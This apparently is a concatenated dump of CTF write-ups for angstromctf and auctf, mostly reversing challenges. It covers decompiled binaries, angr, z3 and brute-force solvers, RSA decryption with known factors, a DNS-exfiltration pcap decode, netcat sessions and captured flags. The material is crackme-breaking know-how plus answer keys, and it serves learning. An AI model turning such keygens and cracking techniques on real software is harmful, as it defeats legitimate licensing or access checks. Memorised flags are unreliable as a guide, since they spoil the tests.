> Author: aplet123 6 | 7 | main: 8 | 9 | ```c++ 10 | void __fastcall main(int argc, const char **argv, const char **envp) 11 | { 12 | int v3; 13 | int v4; 14 | int v5; 15 | int i; 16 | int v7; 17 | char *v8; 18 | char s[136]; 19 | unsigned __int64 v10; 20 | 21 | v10 = __readfsqword(0x28u); 22 | puts("So you figured out how to provide input and command line arguments."); 23 | puts("But can you figure out what input to provide?"); 24 | if ( argc == 5 ) 25 | { 26 | string_to_int(argv[1], (__int64)&v3); 27 | string_to_int(argv[2], (__int64)&v4); 28 | string_to_int(argv[3], (__int64)&v5); 29 | if ( is_invalid(v3) 30 | || is_invalid(v4) 31 | || is_invalid(v5) 32 | || 100 * v4 + 10 * v3 + v5 != 932 33 | || strcmp(argv[4], "chicken") ) 34 | { 35 | puts("Don't try to guess the arguments, it won't work."); 36 | } 37 | else 38 | { 39 | puts("Well, you found the arguments, but what's the password?"); 40 | fgets(s, 128, stdin); 41 | v8 = strchr(s, 10); 42 | if ( v8 ) 43 | *v8 = 0; 44 | v7 = strlen(s); 45 | for ( i = 0; i <= v7; ++i ) 46 | { 47 | if ( ((unsigned __int8)s[i] ^ 0x2A) != desired[i] ) 48 | { 49 | puts("I'm sure it's just a typo. Try again."); 50 | return; 51 | } 52 | } 53 | puts("Good job! You're ready to move on to bigger and badder rev!"); 54 | print_flag(); 55 | } 56 | } 57 | else 58 | { 59 | puts("Make sure you have the correct amount of command line arguments!"); 60 | } 61 | } 62 | ``` 63 | 64 | Solution: 65 | 66 | ```python 67 | import angr 68 | import claripy 69 | import sys 70 | from z3 import * 71 | 72 | def main(): 73 | 74 | proj = angr.Project('taking_off') 75 | 76 | arg1 = claripy.BVS('arg1', 8) 77 | arg2 = claripy.BVS('arg2', 8) 78 | arg3 = claripy.BVS('arg3', 8) 79 | 80 | argv = [ 81 | proj.filename, 82 | arg1, 83 | arg2, 84 | arg3, 85 | 'chicken' 86 | ] 87 | 88 | state = proj.factory.entry_state(args=argv) 89 | 90 | simgr = proj.factory.simgr(state) 91 | 92 | simgr.explore( 93 | find=0x400bb3, 94 | avoid=[0x400ACA, 0x400b84, 0x4009d6] 95 | ) 96 | 97 | print(simgr) 98 | if len(simgr.found) > 0: 99 | f = simgr.found[-1] 100 | print(f.posix.dumps(0)) 101 | print(f.solver.eval(arg1, cast_to=bytes)) 102 | print(f.solver.eval(arg2, cast_to=bytes)) 103 | print(f.solver.eval(arg3, cast_to=bytes)) 104 | 105 | if __name__ == "__main__": 106 | solve() 107 | sys.exit(main()) 108 | ``` 109 | 110 | ```bash 111 | 112 | b'please give flag\x00\x00\x00\x00\x10\x01\x08\x02\x02\x02 \x01\x01\x01\x08 \x00\x00\x00\x00\x02 \x80 \x80\x10 \x02 \x80@\x08\x02\x04\x10\x02\x80\x80@\x04 \x80\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 113 | b'3' 114 | b'9' 115 | b'2' 116 | ``` 117 | 118 | 119 | 120 | ```bash 121 | $ ./taking_off 3 9 2 chicken 122 | So you figured out how to provide input and command line arguments. 123 | But can you figure out what input to provide? 124 | Well, you found the arguments, but what's the password? 125 | please give flag 126 | Good job! You're ready to move on to bigger and badder rev! 127 | actf{th3y_gr0w_up_s0_f4st} 128 | ``` 129 | 130 | -------------------------------------------------------------------------------- /angstromctf/rev/Taking Off/taking_off: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Taking Off/taking_off -------------------------------------------------------------------------------- /angstromctf/rev/Windows of Opportunity/README.md: -------------------------------------------------------------------------------- 1 | # Windows of Opportunity (635 solves) 2 | 3 | > Clam's a windows elitist and he just can't stand seeing all of these linux challenges! 4 | > 5 | > So, he decided to step in and create his [own rev challenge](https://files.actf.co/240350c93b77621aaca286cac8c01b70be3aab4acbe9355f7f141716d0a6920e/windows_of_opportunity.exe) with the "superior" operating system. 6 | > 7 | > Author: aplet123 8 | 9 | ```bash 10 | $ strings windows_of_opporexe | grep actf 11 | actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r} 12 | ``` 13 | 14 | -------------------------------------------------------------------------------- /angstromctf/rev/Windows of Opportunity/windows_of_opportunity.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Windows of Opportunity/windows_of_opportunity.rar -------------------------------------------------------------------------------- /auctf/crypto/Pretty Ridiculous/README.md: -------------------------------------------------------------------------------- 1 | # Pretty Ridiculous 2 | 3 | ```python 4 | import binascii 5 | import sympy 6 | 7 | c = [145213650433152, 4562349440334, 24272724667960, 598242834066721, 89584939111364, 426756492371444, 511701778613016, 551732685650248, 296367799892003, 63113462897284, 198510931603899, 321201931522255, 401044612595398, 542697603423052, 213898535689643, 275839755798105, 185841409622217, 551732685650248, 121188708737752, 401044612595398, 512808963720303, 275839755798105, 198510931603899, 275839755798105, 401044612595398, 174484844253615, 551732685650248, 174486913717420, 575163265381617, 213898535689643, 401044612595398, 49103824223436, 551732685650248, 401044612595398, 598242834066721, 202722428784490, 306606077829794, 53801100921263, 401044612595398, 184805755675232, 405971446461049, 296367799892003, 275839755798105, 275839755798105, 401044612595398, 358054299396778, 4562349440334, 320837325468842, 401044612595398, 202722428784490, 551732685650248, 321201931522255, 228350651363859] 8 | 9 | 10 | n, e = 627585038806247, 65537 11 | 12 | p, q= 13458281, 46631887 13 | 14 | 15 | phi = (p-1)*(q-1) 16 | 17 | d = sympy.mod_inverse(e, phi) 18 | 19 | out = '' 20 | for i in c: 21 | out += chr(pow(i, d, n)) 22 | print(out) 23 | ``` 24 | 25 | `auctf{R34lLy_Pr1M3s_w1L1_n3vEr_b3_thI5_Sm411_BuT_h3y}` 26 | 27 | -------------------------------------------------------------------------------- /auctf/crypto/Sign Me Up/README.md: -------------------------------------------------------------------------------- 1 | # Sign Me Up 2 | 3 | ```python 4 | from message import * 5 | 6 | n, e = 20312493432722984634615913227523125265781662152013094377607630781356105942700273581600613724248110835803158659086732527322062709047441686884292861771528866639670389435647460159612029672461252955594829829663172687201461554413049025271464412190235617740846789840419025423396967519520427432799227162339126087426790939948330768088600429869826069490486741417370162186831426441346576810446894902659826134877586519596679449287778809427232767231366708775004671368581690484301650399106765403344734339945464967775820750215294237822308697430395972800155973323880641007064174229976873404987801414040860359400339131120435868680687, 65537 7 | 8 | out = '' 9 | for l in c: 10 | for j in range(32, 127): 11 | if pow(j, e, n) == l: 12 | out += chr(j) 13 | break 14 | print(out) 15 | ``` 16 | 17 | `auctf{D0nT_5igN_r4nd0m_Cr4P_w1tH_y0uR_pr1vAT3_k3y_d00d}` -------------------------------------------------------------------------------- /auctf/forensics/Animal crossing/README.md: -------------------------------------------------------------------------------- 1 | # Animal crossing 2 | 3 | In this challenge we are given pcap file with suspicious dns requests. 4 | 5 | Every dns request starts with base64 string + `ad.quickbrownfoxes.org` 6 | 7 | Solution: 8 | 9 | Lets dump the whole string and decode it: 10 | 11 | ```python 12 | from scapy.all import * 13 | scapy_cap = rdpcap('animalcrossing.pcapng') 14 | out = [] 15 | for packet in scapy_cap: 16 | if packet.haslayer(DNS): 17 | rec = packet[DNSQR].qname 18 | if b'ad.quickbrownfoxes.org' in rec: 19 | s = rec[:rec.find(b'.')] 20 | if s not in out: 21 | out.append(s) 22 | 23 | print(''.join([i.decode() for i in out])) 24 | ``` 25 | 26 | In the end we get this: 27 | 28 | ``` 29 | Did you ever hear the tragedy of Darth Plagueis The Wise? I thought not. It’s not a story the Jedi would tell you. It’s a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life… auctf{it_was_star_wars_all_along} He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. He became so powerful… the only thing he was afraid of was losing his power, which eventually, of course, he did. Unfortunately, he taught his apprentice everything he knew, then his apprentice killed him in his sleep. Ironic. He could save others from death, but 30 | ``` 31 | 32 | `auctf{it_was_star_wars_all_along}` -------------------------------------------------------------------------------- /auctf/rev/Chestburster/README.md: -------------------------------------------------------------------------------- 1 | # Chestburster (23 solves) 2 | 3 | > I'm out of descriptions. This guys got layers! 4 | > 5 | > Connect with `nc challenges.auctf.com 30006` Author: nadrojisk 6 | 7 | 8 | 9 | The challenge consist of 2 parts. In first, we have to find right password, and in second we have to intercept flag transmission. 10 | 11 | 12 | 13 | ### Part 1: 14 | 15 | ```c++ 16 | int main() 17 | { 18 | FILE *v3; 19 | FILE *v4; 20 | int result; 21 | char v6; 22 | char v7; 23 | char Buffer; 24 | 25 | v3 = _acrt_iob_func(1u); 26 | setvbuf(v3, 0, 4, 0); 27 | printf("Welcome to The Vault!\n\n\tThis challenge is simple answer the questions right and you get the flag!\n", v7); 28 | printf("Be warned however, what you seek may not be here ... \n", v6); 29 | if ( check() ) 30 | { 31 | printf("\tNice job!\n", Buffer); 32 | v4 = fopen("flag.txt", "r"); 33 | if ( !v4 ) 34 | { 35 | printf("Too bad you can only run this exploit on the server...\n", Buffer); 36 | exit(0); 37 | } 38 | fgets(&Buffer, 512, v4); 39 | printf("%s", (char)&Buffer); 40 | result = 0; 41 | } 42 | else 43 | { 44 | printf("\tThat is not correct\n", Buffer); 45 | result = 0; 46 | } 47 | return result; 48 | } 49 | ``` 50 | 51 | The check function is pretty big... After it read our input it makes some encoding and compares it to `welcome_to_the_jungle!` 52 | 53 | ```c++ 54 | return strcmp(encoded_input, "welcome_to_the_jungle!"); 55 | ``` 56 | 57 | So, we can observe what our input is being encoded into. 58 | 59 | I ran the binary with input = `0123456789abcdefghijkl` and got `5b06c17dl28ekj39fihg4a` 60 | 61 | So it looks that the algorithm just swaps the letters. 62 | 63 | So, lets reverse that: 64 | 65 | ```python 66 | import sys 67 | 68 | def main(): 69 | inp = '0123456789abcdefghijkl' 70 | out = '5b06c17dl28ekj39fihg4a' 71 | flag= 'welcome_to_the_jungle!' 72 | flag_flag = [0 for i in range(22)] 73 | for i, v in enumerate(inp): 74 | pos = out.find(v) 75 | flag_flag[i] = flag[pos] 76 | print(''.join(flag_flag)) 77 | 78 | if __name__ == "__main__": 79 | sys.exit(main()) 80 | ``` 81 | 82 | We get `lmo_ewce_j!eo_tulgneht` 83 | 84 | Lets check it: 85 | 86 | ```bash 87 | $ nc challenges.auctf.com 30006 88 | Welcome to The Vault! 89 | 90 | This challenge is simple answer the questions right and you get the flag! 91 | Be warned however, what you seek may not be here ... 92 | You know the drill, give me some input and I'll tell you if it's right 93 | 94 | lmo_ewce_j!eo_tulgneht 95 | Nice job! 96 | Sorry Mario your flag isn't here... but you can have this! challenges.auctf.com:30009 97 | ^C 98 | ``` 99 | 100 | Instead of flag we get the link to an empty website.. 101 | 102 | 103 | 104 | ### Part 2: 105 | 106 | The executable file itself weights 6 mb. It\`s not normal. If we open it in hex editor and search for `This program` we find another executable appended to the end of the first one. 107 | 108 | The second executable is written in `GO` and its very huge. 109 | 110 | If we run it, it asks us for `URL:PORT` and if we give `challenges.auctf.com:30009` to it it prints 111 | 112 | ``` 113 | >chestburster.exe challenges.auctf.com:30009 114 | Establishing Connection ... 115 | 116 | Message from server: Ahh. I see you've found me... here comes the flag :) 117 | Message from server: 118 | ``` 119 | 120 | So, it looks like it prints only part of the message. 121 | 122 | We can use wireshark to intercept transmission and get full message. 123 | 124 | ``` 125 | >chestburster.exe challenges.auctf.com:30009 126 | Establishing Connection ... 127 | 128 | Message from server: Ahh. I see you've found me... here comes the flag :) 129 | Message from server: auctf{r3s0urc3_h4cK1Ng_1S_n3at0_1021} 130 | ``` 131 | 132 | -------------------------------------------------------------------------------- /auctf/rev/Cracker Barrel/README.md: -------------------------------------------------------------------------------- 1 | # Cracker Barrel (315 solves) 2 | 3 | > I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it? I found this file, but I can't seem to unlock it's secrets. Can you help me out? Also.. once you think you've got it I think you should try to connect to `challenges.auctf.com` at port `30000` not sure what that means, but it written on the flash drive.. Author: nadrojisk 4 | 5 | 6 | 7 | 8 | 9 | ## Solution: 10 | 11 | There 3 checks that we should pass in order to get the flag: 12 | 13 | #### check 1: 14 | 15 | ```c++ 16 | strcmp(input, "starwars") 17 | ``` 18 | 19 | #### check 2: 20 | 21 | ```c++ 22 | bool check2(char* input) 23 | { 24 | int i; 25 | int len; 26 | char *v4; 27 | len = strlen(input); 28 | v4 = (char *)malloc_0(8LL * (len + 1)); 29 | for ( i = 0; i < len; ++i ) 30 | v4[i] = flag1[len - 1 - i]; 31 | return strcmp(v4, input) == 0; 32 | } 33 | ``` 34 | 35 | input should be `'si siht egassem terces'[::-1] ='secret message this is'` 36 | 37 | #### check 3: 38 | 39 | ```c++ 40 | int check3(char *a1) 41 | { 42 | __int64 v1; 43 | unsigned __int64 v2; 44 | unsigned __int64 v3; 45 | __int64 result; 46 | int i; 47 | int v6; 48 | int j; 49 | int *v8; 50 | int v9[10]; 51 | 52 | v7[0] = 'z'; 53 | v7[1] = '!'; 54 | v7[2] = '!'; 55 | v7[3] = 'b'; 56 | v7[4] = '6'; 57 | v7[5] = '~'; 58 | v7[6] = 'w'; 59 | v7[7] = 'n'; 60 | v7[8] = '&'; 61 | v7[9] = '`'; 62 | v1 = strlen_0(a1); 63 | v6 = (int *)malloc_0(4 * v1); 64 | for ( i = 0; i < (unsigned __int64)strlen_0(a1); ++i ) 65 | v6[i] = (a1[i] + 2) ^ 0x14; 66 | v4 = 0; 67 | for ( j = 0; j < (unsigned __int64)strlen_0(a1); ++j ) 68 | { 69 | if ( v6[j] != v7[j] ) 70 | v4 = 1; 71 | } 72 | return v4 == 0; 73 | } 74 | ``` 75 | 76 | We do everything in reverse and get the last flag: 77 | 78 | ```python 79 | f = ['z', '!', '!', 'b', '6', '~', 'w', 'n', '&', '`'] 80 | out = '' 81 | for i in f: 82 | out += chr((ord(i) ^ 0x14) - 2) 83 | print(out) 84 | ``` 85 | 86 | `l33t hax0r` 87 | 88 | after that we get the flag: 89 | 90 | ```bash 91 | Give me a key! 92 | starwars 93 | You have passed the first test! Now I need another key! 94 | secret message this is 95 | Nice work! You've passes the second test, we aren't done yet! 96 | l33t hax0r 97 | Congrats you finished! Here is your flag! 98 | auctf{w3lc0m3_to_R3_1021} 99 | ``` 100 | 101 | -------------------------------------------------------------------------------- /auctf/rev/Don't Break Me/README.md: -------------------------------------------------------------------------------- 1 | # Don't Break Me! (133 solves) 2 | 3 | > I've been working on my anti-reversing lately. See if you can get this flag! Connect at `challenges.auctf.com 30005` Author: nadrojisk 4 | 5 | 6 | 7 | We have to find the right password that after encryption == `SASRRWSXBIEBCMPX` 8 | 9 | ```c++ 10 | char* encrypt(char *s, int a2, int a3) 11 | { 12 | size_t v3; 13 | _BYTE *v5; 14 | size_t i; 15 | 16 | v3 = strlen(s); 17 | v5 = calloc(v3, 1u); 18 | for ( i = 0; strlen(s) > i; ++i ) 19 | { 20 | if ( s[i] == 32 ) 21 | v5[i] = s[i]; 22 | else 23 | v5[i] = (a2 * (s[i] - 65) + a3) % 26 + 65; 24 | } 25 | return v5; 26 | } 27 | ``` 28 | 29 | 30 | 31 | ### Solution: 32 | 33 | Simple bruteforce will do the trick. 34 | 35 | ```python 36 | import sys 37 | import string 38 | 39 | flag = 'SASRRWSXBIEBCMPX' 40 | 41 | charset = [ord(i) for i in string.ascii_letters + string.digits + '_'] 42 | 43 | def encrypt(f): 44 | return chr((17 * (f - 0x41) + 12) % 26 + 65) 45 | 46 | def solve(): 47 | out = '' 48 | for k in range(len(flag)): 49 | for i in charset: 50 | if encrypt(i) == flag[k]: 51 | print('found ', k) 52 | out += chr(i) 53 | break 54 | print(out) 55 | 56 | if __name__ == "__main__": 57 | sys.exit(solve()) 58 | 59 | ``` 60 | 61 | ```bash 62 | $ nc challenges.auctf.com 30005 63 | 54 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2e 64 | Input: cecffqcnbgsbyuln 65 | auctf{static_or_dyn@mIc?_12923} 66 | ^C 67 | ``` 68 | 69 | -------------------------------------------------------------------------------- /auctf/rev/Mr. Game and Watch/README.md: -------------------------------------------------------------------------------- 1 | # Mr. Game and Watch (271 solves) 2 | 3 | > My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it... He told me to connect to `challenges.auctf.com 30001` once I figured it out though. Author: nadrojisk 4 | 5 | We are given compiled java class. 6 | 7 | Again, we have 3 checks to pass in order to get the flag 8 | 9 | ### check 1: 10 | 11 | ```java 12 | private static boolean crack_1(Scanner paramScanner) { 13 | System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); 14 | System.out.println("\t" + secret_1); 15 | System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); 16 | String str1 = paramScanner.nextLine(); 17 | String str2 = hash(str1, "MD5"); 18 | return (str2.compareTo(secret_1) == 0); 19 | } 20 | ``` 21 | 22 | googling secret_1 md5 gives first flag `masterchief` 23 | 24 | ### check 2: 25 | 26 | ```java 27 | private static int[] decrypt(String paramString, int paramInt) { 28 | int[] arrayOfInt = new int[paramString.length()]; 29 | for (byte b = 0; b < paramString.length(); b++) 30 | arrayOfInt[b] = paramString.charAt(b) ^ paramInt; 31 | return arrayOfInt; 32 | } 33 | 34 | private static boolean crack_2(Scanner paramScanner) { 35 | System.out.println("Nice work! One down, two to go ..."); 36 | System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); 37 | String str = paramScanner.nextLine(); 38 | return (hash(str, "SHA1").compareTo(decrypt(secret_2, key_2)) == 0); 39 | } 40 | ``` 41 | 42 | After decrypting secret_2 and looking for sha1 we find second flag `princesspeach` 43 | 44 | ### check 3: 45 | 46 | ```java 47 | private static int[] encrypt(String paramString, int paramInt) { 48 | int[] arrayOfInt = new int[paramString.length()]; 49 | for (byte b = 0; b < paramString.length(); b++) 50 | arrayOfInt[b] = paramString.charAt(b) ^ paramInt; 51 | return arrayOfInt; 52 | } 53 | 54 | private static boolean crack_3(Scanner paramScanner) { 55 | System.out.print("Nice work! Here's the last one...\n\t"); 56 | String str1 = paramScanner.nextLine(); 57 | String str2 = hash(str1, "SHA-256"); 58 | int[] arrayOfInt = encrypt(str2, key_3); 59 | return Arrays.equals(arrayOfInt, secret_3); 60 | } 61 | ``` 62 | 63 | `solidsnake` 64 | 65 | 66 | 67 | ```bash 68 | $ nc challenges.auctf.com 30001 69 | Welcome to the Land of Interpreted Languages! 70 | If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be! 71 | 72 | Unfortunately, if you hate Java, this may suck... 73 | Good luck! 74 | 75 | Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this 76 | d5c67e2fc5f5f155dff8da4bdc914f41 77 | Think you can crack it? If so give me the value that hashes to that! 78 | masterchief 79 | Nice work! One down, two to go ... 80 | This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out! 81 | princesspeach 82 | Nice work! Here's the last one... 83 | solidsnake 84 | That's correct! 85 | auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922} 86 | ^C 87 | ``` 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /auctf/rev/Plain Jane/README.md: -------------------------------------------------------------------------------- 1 | # Plain Jane (144 solves) 2 | 3 | > I'm learning assembly. 4 | > 5 | > Think you can figure out what this program returns? 6 | > 7 | > Note: Not standard flag format. 8 | > 9 | > Please provide either the unsigned decimal equivalent or hexadecimal equivalent. Author: nadrojisk 10 | 11 | 12 | 13 | In this challenge we are given assembly source file. 14 | 15 | 16 | 17 | ### Solution: 18 | 19 | We compile it with `gcc` , open in debugger, place bp after last function. eax value is the flag. -------------------------------------------------------------------------------- /auctf/rev/Purple Socks/README.md: -------------------------------------------------------------------------------- 1 | # Purple Socks (54 solves) 2 | 3 | > We found this file hidden in a comic book store. Do you think you can reverse engineer it? We think it's been encrypted but we aren't sure. Author: nadrojisk 4 | 5 | 6 | 7 | We are given an encrypted file. Assuming it is a reverse challenge, it is probably an encrypted executable. 8 | 9 | First few bytes: 10 | 11 | ``` 12 | 31 0B 02 08 4F 4F 4F 00 00 00 00 00 00 00 00 00 4D 00 4D 00 4F 00 00 00 3E 5F 00 00 7A 00 00 00 62 73 00 00 00 00 00 00 7A 00 6E 00 45 00 66 00 13 | ``` 14 | 15 | ```python 16 | >>> elf = '\x7fELF' 17 | >>> bin = '\x31\x0b\x02\x08' 18 | 19 | >>> for i in range(len(elf)): 20 | ... print(chr(ord(elf[i]) ^ ord(bin[i]))) 21 | ... 22 | N 23 | N 24 | N 25 | N 26 | >>> 27 | ``` 28 | 29 | It looks like non zero values are xored with letter `N`. Now we can decrypt it. 30 | 31 | ```python 32 | f = open('out', 'wb') 33 | 34 | with open('purple_socks', 'rb') as f: 35 | raw = f.read() 36 | 37 | for i in range(len(raw)): 38 | if raw[i] != 0: 39 | f.write(raw[i] ^ ord('N')) 40 | else: 41 | f.write(chr(raw[i])) 42 | f.close() 43 | ``` 44 | 45 | main: 46 | 47 | ```c++ 48 | int main(int argc, const char **argv, const char **envp) 49 | { 50 | char v4[8192]; 51 | char dest[8192]; 52 | int *v6; 53 | 54 | v6 = &argc; 55 | lp_input = (const char *)&input; 56 | setvbuf(stdout, 0, 2, 0); 57 | puts("Please Login: "); 58 | printf("username: "); 59 | fgets((char *)lp_input, 0x2000, stdin); 60 | remove_newline((char *)lp_input); 61 | strcpy(dest, lp_input); 62 | strcpy(v4, lp_input); 63 | printf("password: "); 64 | fgets((char *)lp_input, 0x2000, stdin); 65 | remove_newline((char *)lp_input); 66 | sprintf(dest, "%s:%s", dest, lp_input); 67 | if ( !strcmp(dest, creds) ) 68 | { 69 | printf("Welcome %s\n\n", v4); 70 | commandline(); 71 | } 72 | puts("Error: Incorrect login credentials"); 73 | return 0; 74 | } 75 | ``` 76 | 77 | Looks like some kind of service. 78 | 79 | The creds are `bucky:longing, rusted, seventeen, daybreak, furnace, nine, benign, homecoming, one, freight car` 80 | 81 | Lets log in and check whats up: 82 | 83 | ```bash 84 | $ nc challenges.auctf.com 30049 85 | Please Login: 86 | username: bucky 87 | password: longing, rusted, seventeen, daybreak, furnace, nine, benign, homecoming, one, freight car 88 | Welcome bucky 89 | 90 | > [? for menu]: ls 91 | ls 92 | call: ls 93 | enc 94 | entry.sh 95 | flag.txt 96 | > [? for menu]: read flag.txt 97 | This file is password protected ... 98 | You will have to enter the password to gain access 99 | ``` 100 | 101 | So, in order to get the read the flag we need the password. 102 | 103 | Lets find check password function: 104 | 105 | ```c++ 106 | int encrypt() 107 | { 108 | size_t input_len; 109 | size_t v1; 110 | size_t v2; 111 | char input[8192]; 112 | int v5; 113 | _DWORD *out; 114 | unsigned int j; 115 | int v8; 116 | int i; 117 | 118 | puts("This file is password protected ... \nYou will have to enter the password to gain access"); 119 | printf("Password: "); 120 | fgets(input, 0x2000, stdin); 121 | input_len = strlen(input); 122 | out = malloc(4 * input_len); 123 | for ( i = 0; ; ++i ) 124 | { 125 | v1 = strlen(input); 126 | if ( v1 <= i ) 127 | break; 128 | v5 = i % 5; 129 | out[i] = input[i] ^ seed[i % 5]; 130 | seed[v5] = out[i]; 131 | } 132 | v8 = 0; 133 | for ( j = 0; ; ++j ) 134 | { 135 | v2 = strlen(input); 136 | if ( v2 <= j ) 137 | break; 138 | if ( secret[j] != out[j] ) 139 | v8 = 1; 140 | } 141 | return v8; 142 | } 143 | ``` 144 | 145 | 146 | 147 | ### Solution: 148 | 149 | ```python 150 | secret = [ 151 | 0x0e, 0x05, 0x06, 0x1a, 152 | 0x39, 0x7d, 0x60, 0x75, 153 | 0x7b, 0x54, 0x18, 0x6a] 154 | 155 | seed = [0x61, 0x75, 0x63, 0x74, 0x66] 156 | 157 | 158 | def solve(): 159 | state = 'auctf' 160 | seed2 = [0 for i in range(5)] 161 | out = '' 162 | for i in range(len(secret)): 163 | for j in range(32, 127): 164 | c = seed[i % len(seed)] 165 | if j ^ c == secret[i]: 166 | out += chr(j) 167 | seed[i % len(seed)] = j ^ c 168 | break 169 | print(out) 170 | 171 | if __name__ == "__main__": 172 | solve() 173 | ``` 174 | 175 | gives `open_sesame`: 176 | 177 | ```bash 178 | Password: open_sesame 179 | auctf{encrypti0n_1s_gr8t_12921} 180 | > [? for menu]: 181 | ``` 182 | 183 | -------------------------------------------------------------------------------- /auctf/rev/Sora/README.md: -------------------------------------------------------------------------------- 1 | # Sora (226 solves) 2 | 3 | > This obnoxious kid with spiky hair keeps telling me his key can open all doors. Can you generate a key to open this program before he does? Connect to `challenges.auctf.com 30004` Author: nadrojisk 4 | 5 | 6 | 7 | check function: 8 | 9 | ```c++ 10 | __int64 check(char *input) 11 | { 12 | int i; 13 | 14 | for ( i = 0; i < strlen(secret); ++i ) 15 | { 16 | if ( (8 * input[i] + 19) % 61 + 65 != secret[i] ) 17 | return 0; 18 | } 19 | return 1; 20 | } 21 | ``` 22 | 23 | 24 | 25 | ### Solution: 26 | 27 | I wrote keygen for this challenge: 28 | 29 | ```python 30 | from z3 import * 31 | import sys 32 | 33 | secret = 'aQLpavpKQcCVpfcg' 34 | flag_len = len(secret) 35 | 36 | def find_all_posible_solutions(s): 37 | while s.check() == sat: 38 | model = s.model() 39 | block = [] 40 | out = '' 41 | for i in range(flag_len): 42 | c = globals()['b%i' % i] 43 | out += chr(model[c].as_long()) 44 | block.append(c != model[c]) 45 | s.add(Or(block)) 46 | print(out) 47 | 48 | def main(): 49 | s = Solver() 50 | 51 | for i in range(flag_len): 52 | c = globals()['b%d' % i] = BitVec('b%d' % i, 32) 53 | s.add(c > 32, c < 127) 54 | s.add((8 * c + 19) % 61 + 65 == ord(secret[i]) ) 55 | 56 | find_all_posible_solutions(s) 57 | 58 | 59 | 60 | if __name__ == "__main__": 61 | sys.exit(main()) 62 | ``` 63 | 64 | Submitting any of them will give the flag: 65 | 66 | ```bash 67 | $ nc challenges.auctf.com 30004 68 | Give me a key! 69 | try_7o"%rea."0(G 70 | auctf{that_w@s_2_ezy_29302} 71 | ``` 72 | 73 | -------------------------------------------------------------------------------- /auctf/rev/TI-83 Beta/README.md: -------------------------------------------------------------------------------- 1 | # TI-83 Beta (68 solves) 2 | 3 | > Hey I'm building a new calculator! I hid a flag inside it, think you can find it? Author: nadrojisk 4 | 5 | 6 | 7 | We are given a windows executable. The flag is in `SEH` exception handler that was registered in main function: 8 | 9 | ``` 10 | .text:004124D0 ; int __cdecl main_0(int argc, const char **argv, const char **envp) 11 | .text:004124D0 _main_0 proc near ; CODE XREF: _main↑j 12 | .text:004124D0 13 | .text:004124D0 var_C0 = byte ptr -0C0h 14 | .text:004124D0 argc = dword ptr 8 15 | .text:004124D0 argv = dword ptr 0Ch 16 | .text:004124D0 envp = dword ptr 10h 17 | .text:004124D0 18 | .text:004124D0 push ebp 19 | .text:004124D1 mov ebp, esp 20 | .text:004124D3 sub esp, 0C0h 21 | .text:004124D9 push ebx 22 | .text:004124DA push esi 23 | .text:004124DB push edi 24 | .text:004124DC lea edi, [ebp+var_C0] 25 | .text:004124E2 mov ecx, 30h 26 | .text:004124E7 mov eax, 0CCCCCCCCh 27 | .text:004124EC rep stosd 28 | .text:004124EE push offset sub_4111A9 ; <- exception handling func 29 | .text:004124F3 push large dword ptr fs:0 ; char 30 | .text:004124FA mov large fs:0, esp 31 | .text:00412501 push offset aWelcomeToMyPro ; "Welcome to my program!\n" 32 | .text:00412506 call print 33 | .text:0041250B add esp, 4 34 | ``` 35 | 36 | 37 | 38 | The exception handler is a bit obfuscated so IDA could not create a function from it. The flag is being create on stack one byte at the time. 39 | 40 | ``` 41 | .text:00412560 loc_412560: ; CODE XREF: sub_4111A9↑j 42 | .text:00412560 push ebp 43 | .text:00412561 mov ebp, esp 44 | .text:00412563 sub esp, 0C0h 45 | .text:00412569 push ebx 46 | .text:0041256A push esi 47 | .text:0041256B push edi 48 | .text:0041256C lea edi, [ebp-0C0h] 49 | .text:00412572 mov ecx, 30h ; '0' 50 | .text:00412577 mov eax, 0CCCCCCCCh 51 | .text:0041257C rep stosd 52 | .text:0041257E xor eax, eax 53 | .text:00412580 jz short loc_412584 54 | .text:00412580 ; --------------------------------------------------------------------------- 55 | .text:00412582 db 0EAh ; ê 56 | .text:00412583 db 58h ; X 57 | .text:00412584 ; --------------------------------------------------------------------------- 58 | .text:00412584 59 | .text:00412584 loc_412584: ; CODE XREF: .text:00412580↑j 60 | .text:00412584 mov eax, 0 61 | .text:00412589 sub esp, 20h 62 | .text:0041258C mov byte ptr [esp], 61h ; 'a' 63 | .text:00412590 mov byte ptr [esp+1], 75h ; 'u' 64 | .text:00412595 mov byte ptr [esp+2], 63h ; 'c' 65 | .text:0041259A mov byte ptr [esp+3], 74h ; 't' 66 | .text:0041259F mov byte ptr [esp+4], 66h ; 'f' 67 | .text:004125A4 mov byte ptr [esp+5], 7Bh ; '{' 68 | .text:004125A9 mov byte ptr [esp+6], 6Fh ; 'o' 69 | .text:004125AE xor eax, eax 70 | .text:004125B0 jz short loc_4125B4 71 | .text:004125B0 ; 